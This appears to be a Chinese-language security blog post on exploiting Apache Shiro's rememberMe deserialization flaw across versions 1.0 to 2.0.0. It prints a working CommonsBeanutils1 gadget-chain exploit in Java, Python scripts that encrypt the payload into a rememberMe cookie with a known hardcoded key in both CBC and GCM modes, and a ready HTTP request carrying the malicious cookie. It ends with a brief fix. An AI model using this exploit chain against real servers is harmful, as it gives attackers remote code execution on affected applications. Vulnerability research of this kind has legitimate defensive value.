1.0.0-incubating ≤ shiro ≤ 1.2.4 这个范围直接就是 Shiro-550 漏洞的影响范围,可利用 CB1 反序列化链配合默认密钥直接打,这是毫无疑问的。低版本 Shiro 中的 commons-beanutils 的版本较低,为 1.8.3,本地构造反序列化时,注意版本要一致。
1.2.5 ≤ shiro ≤ 1.3.2 受 Shiro-550 漏洞的影响,在 1.2.4 之后的版本中,官方通过 generateNewKey 方法生成一个随机密钥来进行修复。
1 setCipherKey(cipherService.generateNewKey().getEncoded());
同时,也允许开发者在 shiro.ini 配置文件中自定义设置密钥,不过在默认配置中,这个字段是被注释的,无法生效。
那么,在这个版本范围内,只要开发者没有将securityManager.rememberMeManager.cipherKey
字段取消注释,即在默认配置下,不会受到反序列化攻击的影响。
当然,这个版本范围会受 Shiro-721 Padding Oracle Attack 漏洞的影响。
实测 1.2.5 和 1.3.2 两个版本,CB1 链反序列化利用失败。
1.3.2 < shiro ≤ 1.4.1 这个版本范围也受 Shiro-721 漏洞的影响。
在这个版本范围内的 shiro.ini 配置文件中,设置密钥的字段被取消注释了,由于配置文件的优先级比 generateNewKey 更高。
1 securityManager.rememberMeManager.cipherKey = kPH+bIxk5D2deZiIxcaaaA==
所以,在此版本范围内,只要攻击者得知开发者在 shiro.ini 配置文件中设置的密钥,依旧能够进行反序列化利用。
关于 CB1 链的分析可见前文《Java 反序列化漏洞之 CommonsBeanutils1 链》 ,这里直接将利用代码贴过来。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 package com.javasec.cb;import java.io.*;import java.lang.reflect.Field;import java.util.PriorityQueue;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import javassist.ClassPool;import org.apache.commons.beanutils.BeanComparator;import java.util.Collections;public class CBRCEWithoutCC { public static void main (String[] args) throws Exception { TemplatesImpl obj = new TemplatesImpl (); setFieldValue(obj, "_name" , "T" ); setFieldValue(obj, "_tfactory" , new TransformerFactoryImpl ()); setFieldValue(obj, "_bytecodes" , new byte [][]{ ClassPool.getDefault().get(EvilTemplatesImpl.class.getName()).toBytecode() }); BeanComparator comparator = new BeanComparator (null , String.CASE_INSENSITIVE_ORDER); PriorityQueue<Object> queue = new PriorityQueue <Object>(2 , comparator); queue.add("1" ); queue.add("1" ); setFieldValue(comparator, "property" , "outputProperties" ); setFieldValue(queue, "queue" , new Object []{obj, obj}); ObjectOutputStream outputStream = new ObjectOutputStream (new FileOutputStream ("cb.ser" )); outputStream.writeObject(queue); outputStream.close(); ObjectInputStream inputStream = new ObjectInputStream (new FileInputStream ("cb.ser" )); inputStream.readObject(); } public static void setFieldValue (Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(obj, value); } }
Python AES-CBC 加密编码脚本如下。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 import base64import uuidfrom Crypto.Cipher import AESif __name__ == '__main__' : with open ('cb.ser' , 'rb' ) as f: data = f.read() BS = AES.block_size pad = lambda s: s + ((BS - len (s) % BS) * chr (BS - len (s) % BS)).encode() iv = uuid.uuid4().bytes encryptor = AES.new(base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==" ), AES.MODE_CBC, iv) print ("Cookie: rememberMe={}" .format (base64.b64encode(iv + encryptor.encrypt(pad(data))).decode()))
实测 1.4.0、1.4.1 两个版本,CB1 链利用成功。
1.4.2 ≤ shiro ≤ 2.0.0+ 由于 1.4.2 之前的版本受 Shiro-721 漏洞的影响,在 1.4.2 及之后的版本,官方更换了 AES 加密算法的模式,由 CBC 改为了 GCM。
不过在 shiro.ini 配置文件中设置密钥的字段还是如下,并没有被注释。
1 securityManager.rememberMeManager.cipherKey = kPH+bIxk5D2deZiIxcaaaA==
那么将 CB1 链与下面的 Python AES-GCM 加密编码脚本结合,即可进行反序列化利用。高版本 Shiro 中的 commons-beanutils 为 1.9.4 版本,本地构造 Payload 时,注意版本一致性。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 import base64import uuidfrom Crypto.Cipher import AESif __name__ == '__main__' : with open ('cb.ser' , 'rb' ) as f: data = f.read() iv = uuid.uuid4().bytes cipher = AES.new(base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==" ), AES.MODE_GCM, iv) ciphertext, tag = cipher.encrypt_and_digest(data) ciphertext = ciphertext + tag base64_ciphertext = base64.b64encode(iv + ciphertext) print ("Cookie: rememberMe={}" .format (base64_ciphertext.decode()))
1 2 3 4 5 6 7 8 9 GET / HTTP/1.1 Host : localhost:8888Accept-Encoding : gzip, deflate, brAccept : */*Accept-Language : en-US;q=0.9,en;q=0.8Cookie : rememberMe=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Connection : close
实测 1.4.2、1.5.3、1.7.1、1.8.0、1.10.1、1.12.0、1.13.0 版本,CB1 链均能够成功利用。
在目前最新的 2.0.0 版本中也能成功利用,该版本于 2024 年 02 月 21 日发布,对 Java 的要求在 11 及以上。
https://github.com/apache/shiro/releases/tag/shiro-root-2.0.0
正确修复方式 开发者不应该在 shiro.ini 中设置密钥,应将如下字段注释掉。
这样便会改由 generateNewKey 方法在应用程序每次启动时,自动生成一个随机的密钥。
1 2 3 4 5 6 7 8 9 10 11 public Key generateNewKey (int keyBitSize) { KeyGenerator kg; try { kg = KeyGenerator.getInstance(getAlgorithmName()); } catch (NoSuchAlgorithmException e) { String msg = "Unable to acquire " + getAlgorithmName() + " algorithm. This is required to function." ; throw new IllegalStateException (msg, e); } kg.init(keyBitSize); return kg.generateKey(); }